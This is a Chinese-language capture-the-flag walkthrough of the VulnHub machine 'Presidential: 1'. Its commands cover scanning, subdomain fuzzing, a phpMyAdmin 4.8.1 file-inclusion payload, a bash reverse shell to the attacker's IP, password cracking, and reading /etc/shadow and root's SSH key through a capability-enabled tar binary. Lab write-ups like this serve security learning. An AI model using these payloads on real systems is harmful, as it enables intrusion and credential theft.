一、靶机介绍

靶机下载地址:[Presidential: 1 ~ VulnHub](https://www.vulnhub.com/entry/presidential-1,500/#:~:text=The Presidential Elections within the USA are just)

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息搜集
  • 备份文件
  • 子域名爆破
  • phpmyadmin
  • 密码爆破
  • 本地文件包含
  • Capabilities
  • 本地权限漏洞
  • ssh公钥认证

二、主机发现

arp-scan -l

靶机ip为192.168.43.158

image-20240926124225399

三、端口扫描

nmap -p- 192.168.43.158
nmap -p80,2082 -sC -sV 192.168.43.158

80端口是web,2082是ssh服务

image-20240926124210535

四、web信息搜集

4.1、域名绑定

访问靶机web服务,发现上面有个本地的域名

image-20240926124334043

绑定域名,再尝试访问一下,但是发现绑定域名后网页还是这样,没有任何变化

image-20240926124624936

4.2、dirsearch目录扫描

dirsearch -u "http://192.168.43.158/"

发出存在备份文件

image-20240926124931784

查看这个备份文件的源代码,发现数据库名,账号,密码

image-20240926125129621

dbUser votebox
dbPass casoj3FFASPsbyoRP
dbHost localhost
dbname votebox

4.3、wfuzz子域名爆破

在这里我一开始用的gobuster爆破的子域名,虽然速度比wfuzz,但是老是报错,最后也没跑出来结果

gobuster vhost -u http://votenow.local/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt | grep "Status: 200"

语句放着,想跑的可以试一下

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local

-w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt:指定用于 fuzzing 的字典文件路径。

-H "Host: FUZZ.votenow.local":设置 Host 头,其中 FUZZ 将被字典中的每个条目替换。

--hw 854:过滤掉响应大小为 854 字节的结果。

--hc 400:过滤掉状态码为 400 的响应。

votenow.local:目标 URL,用于发起请求。

跑的时间有点长,跑出来了一个datasafe

image-20240926143220496

绑定一下子域名

datasafe.votenow.local

image-20240926143702799

五、phpmyadmin漏洞

访问web页面,发现子域名对应的是phpmyadmin页面

image-20240926143739520

账号: votebox

密码:casoj3FFASPsbyoRP

在前面备份文件源代码中存在一个账号和密码,发现能够登录上

在user表中,又查到了一个用户名和密码

image-20240926144004586

用户名:admin

密码:$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i

做一下信息搜集,看一下版本号,也可以用dirsearch直接跑一下目录

http://datasafe.votenow.local/README

发现phpmyadmin的版本号是4.8.1

image-20240926144423133

使用searchsploit搜索一下是否存在攻击脚本,那个python脚本在这个靶机中不能利用成功

searchsploit phpmyadmin 4.8.1
cat /usr/share/exploitdb/exploits/php/webapps/44928.txt

这个记事本写的攻击方式是在,phpmyadmin中写sql语句,利用sql语句来执行,语句在后台执行后,获取到网页的session,然后,按照那个格式访问也没,就可以查看是否执行成功了

他这个文档中session多写了一个s,执行的时候别忘了删除

image-20240926144732299

先安装文档写的语句测试一下,是否能够利用

select '<?php phpinfo();exit;?>'

154ckmdsj3ol37ggsv9ga9q58udo471k这是网页的session

image-20240926145456339

将域名和session更改为靶机的,sess_后面是session,更改为自己的,然后访问

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_154ckmdsj3ol37ggsv9ga9q58udo471k

发现执行成功了

image-20240926145552360

写入反弹shell的语句

退出重新登录一下,在执行反弹shell的语句,不然session不会刷新

select '<?php system("bash -i >& /dev/tcp/192.168.43.130/5555 0>&1");exit;?>'

3thdsa5k23k5j36au9blr0arovi4qrdd # 新的session值

image-20240926150242127

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_3thdsa5k23k5j36au9blr0arovi4qrdd

反弹成功

image-20240926151241183

六、提权

6.1、密码爆破

cat /etc/passwd

发现存在admin这个用户,跟从数据库中读取到的一样

image-20240926151335768

利用john将加密后的密码爆破一下

john --wordlist=rockyou.txt hash

爆破时间贼长,但是能够跑出来

hash是我将加密后的密码写入到这个文件里了,hash是文件的名字

image-20240926151411068

爆破结果:Stella

切换到admin账号

su admin
Stella
python -c "import pty;pty.spawn('/bin/bash')" # 升级一下终端

image-20240926151836127

在admin用户目录下,看到了一个提示,

image-20240926151926576

6.2、Capabilities

Linux Capabilities 简介 - sparkdev - 博客园 (cnblogs.com)

getcap -r / 2>/dev/null
ls -al /usr/bin/tarS
tarS --help

getcap -r 是用于递归查看文件或目录的能力(capabilities)的命令。具体来说,它会列出指定目录及其子目录下所有文件的能力。如果文件具有特定的能力,命令会输出文件名及其能力信息。使用此命令可以帮助你快速识别系统中具有特殊权限的文件。你有特定的用例或文件想要检查吗?

发现tarS命令admin用户又执行权限,并且这个命令就是用来压缩的,结合前面的提示,应该就是利用这个命令进而提权

image-20240926152133056

利用命令查看shaow文件

tarS -cvf shadow.tar /etc/shadow		# 将这个文件压缩一下
tar -xvf shadow.tar # 然后解压
cd etc
chmod +700 shadow # 授权
cat shadow

root加密后的密文,不用试着去爆破了,那个字典跑不出来,所以这种提权方式行不通

$6$BvtXLMHn$zoYCSCRbdnaUOb4u3su6of9DDUXeUEe05OOiPIQ5AWo6AB3FWRr/RC3PQ4z.ryqn6o5xS9g4JTKHYI4ek9y541

image-20240926153032259

6.3、ssh公钥认证

密码爆破不出来,但是可以利用tarS这个命令,查看任何文件

所以直接将root用户的密钥拖出来,利用密钥登录也能登录成功了

tarS -cvf id_rsa.tar /root/.ssh/id_rsa		# 将密钥压缩包命名为id_rsa进行压缩	
tar -xvf id_rsa.tar # 解压
cd root/.ssh # 进入目录查看

image-20240926153648599

文件存在,利用密钥登录,

ssh root@192.168.43.158 -i id_rsa -p 2082

提权成功

image-20240926153723224

参考文章:24 PRESIDENTIAL: 1靶场(完成) (yuque.com)

Vulnhub打靶记录:presidential - C_CHL - 博客园 (cnblogs.com)